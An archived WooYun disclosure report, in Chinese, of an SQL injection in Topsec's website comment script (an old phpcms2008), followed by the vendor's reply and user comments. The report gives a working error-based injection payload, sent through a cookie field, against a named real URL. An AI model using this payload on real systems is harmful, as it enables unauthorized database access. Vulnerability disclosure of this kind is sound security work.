当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07260

漏洞标题：天融信官网还有SQL注入

相关厂商：天融信

漏洞作者： kobin97

提交时间：2012-05-17 21:40

修复时间：2012-07-01 21:41

公开时间：2012-07-01 21:41

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-17： 细节已通知厂商并且等待厂商处理中
2012-05-18： 厂商已经确认，细节仅向厂商公开
2012-05-28： 细节向核心白帽子及相关领域专家公开
2012-06-07： 细节向普通白帽子公开
2012-06-17： 细节向实习白帽子公开
2012-07-01： 细节向公众公开

简要描述：

天融信官网还有SQL注入，都是phpcms2008的很旧版本了，都是旧漏洞了。为什么作为安全公司都不重视。。。无语了。。。

详细说明：

注入地址：
http://www.topsec.com.cn/comment/comment.php?action=vote
参数：
field
content=0x7c where (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
cookie,暴错注入，应该懂得！

漏洞证明：

修复方案：

不想说了

版权声明：转载请注明来源 kobin97@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-05-18 08:54

厂商回复：

再次感谢kobin97关注天融信网站的安全，作为技术人员你的“无语”我都懂。至于为什么迟迟没有更新程序……（省略1万字）……。虽然这是个很老的漏洞，但你多次的回报必定可以加快天融信升级网站程序的步伐，这也是我想看到的，所以我给你Rank：10。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-05-17 21:48 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    乌云第二例安全公司存在问题的吧？

  2. 2012-05-17 21:51 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    主要是上次 WooYun: 天融信官网某注射 漏洞也是随意修复，已经说了旧版本了，也不好好处理下，想只加个防火墙就了事。。

  3. 2012-05-17 22:12 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    还得多骚分能到普通白帽子。。。想看漏洞呀

  4. 2012-05-17 22:39 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    @xsser 啥时候能转正啊！！

  5. 2012-05-17 23:09 | 小一 ( 实习白帽子 | Rank:32 漏洞数:13 )

    @z@cx 我靠，90Rank都还是实习啊，不是差不多30Rank就是普通了么，看来我这辈子是转正无望了。。。

  6. 2012-05-17 23:28 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @小一 加油，奶茶会有的，妹子也会有的～

  7. 2012-05-17 23:42 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    @小一 好基友

  8. 2012-05-18 00:33 | liner ( 普通白帽子 | Rank:165 漏洞数:27 )

    这个表示严重关注

  9. 2012-05-18 09:05 | B1n4ry ( 实习白帽子 | Rank:55 漏洞数:6 )

    phpcms

  10. 2012-05-18 09:41 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    省略1万字......囧......都懂的，都懂的

  11. 2012-05-18 09:43 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @horseluke 都懂？我不懂

  12. 2012-05-18 09:57 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @possible 可能原因：（1）懒得升级，防御了事；（2）找不到人，只能拖着；（3）上面没人，没法推动；（4）其它可能，敬请补充

  13. 2012-05-18 09:59 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @horseluke 呵呵 挺全 其实是重视不重视问题 也好这样才需要有些人去搞安全 不说了 说多了无益 呵呵

  14. 2012-05-18 09:59 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    其实不升级也可以吧！把发现的问题修复一下就行了。典型偷懒行为！^_^

  15. 2012-05-18 10:22 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    ”虽然这是个很老的漏洞，但你多次的回报必定可以加快天融信升级网站程序的步伐，这也是我想看到的“心有余而力不足啊

  16. 2012-05-18 11:35 | Moments ( 实习白帽子 | Rank:55 漏洞数:10 | 2)

    哈哈，总部的飘过

  17. 2012-05-18 13:21 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    这厂商回复。。。太经典了。。。

  18. 2012-05-19 06:05 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @小一 普通总会有的

  19. 2012-05-19 13:20 | 小一 ( 实习白帽子 | Rank:32 漏洞数:13 )

    @imlonghao 你这核心站着说话不腰疼。。。

  20. 2012-05-19 14:10 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @小一 呃.......施主莫生气，@imlonghao 年龄小过我都已经超越我成为核心了，所以，该有的真的会有^o^

  21. 2012-05-19 14:18 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @horseluke — —，那我更XXXXX

  22. 2012-05-19 14:28 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @zeracker 没事的神 你正在转为核心的途中 努力 我看好你哦,（希望有一天我看好你也有用 ）

  23. 2012-05-19 14:33 | 小一 ( 实习白帽子 | Rank:32 漏洞数:13 )

    @horseluke 汗，我木有生气啊。。。话说剑心还不发公告。。。

  24. 2012-06-17 12:14 | hblf ( 路人 | Rank:14 漏洞数:2 | 甲方安全攻城狮一枚)

    安全公司，对安全建设的无力表示无力，太那啥了。。。。

  25. 2012-07-06 16:15 | 墨水心_Len ( 实习白帽子 | Rank:70 漏洞数:15 | PKAV技术宅 | 每一个有文化的东西，我们都...)

    ……（省略1万字）……作为安全公司，这点不应该啊。